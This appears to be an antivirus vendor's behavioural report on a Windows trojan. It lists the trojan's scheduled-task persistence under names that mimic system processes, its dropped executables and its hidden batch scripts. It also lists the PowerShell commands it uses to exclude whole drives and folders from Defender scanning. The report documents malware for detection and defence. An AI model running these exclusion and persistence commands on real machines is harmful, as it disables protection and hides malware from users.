Technical Information
To ensure autorun and distribution
Creates or modifies the following files
- <SYSTEM32>\tasks\csrssc
- <SYSTEM32>\tasks\csrss
- <SYSTEM32>\tasks\rundll32r
- <SYSTEM32>\tasks\rundll32
- <SYSTEM32>\tasks\wininit
- <SYSTEM32>\tasks\audiodga
- <SYSTEM32>\tasks\audiodg
- <SYSTEM32>\tasks\wininitw
Malicious functions
To complicate detection of its presence in the operating system,
adds antivirus exclusion:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\Mozilla Firefox\browser\features\rundll32.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles(x86)%\Reference Assemblies\Microsoft\csrss.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Windows/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Users/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/System Volume Information/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Recovery/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\wininit.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/ProgramData/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files (x86)/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/PerfLogs/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/MSOCache/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/kms/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Documents and Settings/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/dhxl/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/$Recycle.Bin/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:/Program Files/'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\Default User\audiodg.exe'
Modifies file system
Creates the following files
- %ProgramFiles(x86)%\reference assemblies\microsoft\csrss.exe
- %ProgramFiles(x86)%\reference assemblies\microsoft\886983d96e3d3e
- %ProgramFiles%\mozilla firefox\browser\features\rundll32.exe
- %ProgramFiles%\mozilla firefox\browser\features\3d4d5fa006b533
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\csrss.exe
- C:\recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\886983d96e3d3e
- %ProgramFiles%\msbuild\microsoft\windows workflow foundation\v3.5\wininit.exe
- %ProgramFiles%\msbuild\microsoft\windows workflow foundation\v3.5\56085415360792
- C:\users\default user\audiodg.exe
- C:\users\default user\42af1c969fbb7b
- %TEMP%\avu35sji4y
- %TEMP%\w34orjl5zc.bat
- nul
Deletes the following files
- %TEMP%\avu35sji4y
Miscellaneous
Creates and executes the following
- '%ProgramFiles%\mozilla firefox\browser\features\rundll32.exe'
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\w34OrjL5Zc.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\3VSOeTt4rz.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\L3SaAS0x6v.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\6RObsEBt7I.bat"' (with hidden window)
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\yJr0BespZg.bat"' (with hidden window)
Executes the following
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 11 /tr "'%ProgramFiles(x86)%\Reference Assemblies\Microsoft\csrss.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\L3SaAS0x6v.bat"
- '<SYSTEM32>\w32tm.exe' /stripchart /computer:localhost /period:5 /dataonly /samples:2
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\3VSOeTt4rz.bat"
- '<SYSTEM32>\ping.exe' -n 10 localhost
- '<SYSTEM32>\chcp.com' 65001
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\w34OrjL5Zc.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 9 /tr "'C:\Users\Default User\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodg" /sc ONLOGON /tr "'C:\Users\Default User\audiodg.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "audiodga" /sc MINUTE /mo 6 /tr "'C:\Users\Default User\audiodg.exe'" /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\6RObsEBt7I.bat"
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 5 /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininitw" /sc MINUTE /mo 10 /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\wininit.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 9 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 12 /tr "'C:\Recovery\fc7d0508-3f8d-11ed-bf82-c9aa0b5639b5\csrss.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 9 /tr "'%ProgramFiles%\Mozilla Firefox\browser\features\rundll32.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "rundll32" /sc ONLOGON /tr "'%ProgramFiles%\Mozilla Firefox\browser\features\rundll32.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "rundll32r" /sc MINUTE /mo 13 /tr "'%ProgramFiles%\Mozilla Firefox\browser\features\rundll32.exe'" /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrssc" /sc MINUTE /mo 10 /tr "'%ProgramFiles(x86)%\Reference Assemblies\Microsoft\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "csrss" /sc ONLOGON /tr "'%ProgramFiles(x86)%\Reference Assemblies\Microsoft\csrss.exe'" /rl HIGHEST /f
- '<SYSTEM32>\schtasks.exe' /create /tn "wininit" /sc ONLOGON /tr "'%ProgramFiles%\MSBuild\Microsoft\Windows Workflow Foundation\v3.5\wininit.exe'" /rl HIGHEST /f
- '<SYSTEM32>\cmd.exe' /C "%TEMP%\yJr0BespZg.bat"
